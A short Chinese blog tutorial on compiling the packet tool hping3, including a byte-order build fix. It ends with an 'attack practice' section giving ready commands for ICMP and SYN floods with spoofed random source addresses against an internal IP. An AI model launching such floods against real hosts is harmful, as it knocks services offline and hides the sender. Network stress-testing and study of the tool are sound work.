hping的安装与使用

hping的安装
yum -y install gcc libpcap-devel tcl-devel pcap tcl                             #安装前的必备工具,否则会出错
wget https://www.hping.org/hping3-20051105.tar.gz                               #hping软件
  tar -zxvf hping3-20051105.tar.gz
  cd hping3-20051105
  ./configure
  make

安装遇到的问题

ars.h:190:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

ars.h:254:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

ars.h:323:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"
------------------------------------------------------------------------------------------------
[root@ding hping3-20051105]# vi bytesex.h 
  1 /* Original code from the Linux C library */
  2 /* Copyright (C) 2000,2001 Salvatore Sanfilippo <[email protected]
    rg>
  3  * This code is under the original GNU C library license (GPL) */
  4 
  5 /* $Id: bytesex.h,v 1.1.1.1 2003/08/31 17:23:48 antirez Exp $ */
  6 #ifndef ARS_BYTESEX_H
  7 #define ARS_BYTESEX_H
  8 
  9 #if     defined(__i386__) \
 10     || defined(__x86_64__)\                                                   #支持64bit
 11     || defined(__alpha__) \
 12     || (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSE
    L__)))

hping攻击实战


hping  -i u5 --icmp  10.8.117.146
hping -S -i u5 -p  21 10.8.117.146
hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source 10.8.117.146
-c 10000个包
-d 120byte大小的数据包
-S SYN
-w winsize 64
-p destination port 21
--flood 以系统性能尽快的发包
-i 发包间隔, u5 每隔5us
--icmp  icmp攻击
--rand-source  伪随机源攻击








你可能感兴趣的:(firewall,Attack,hping)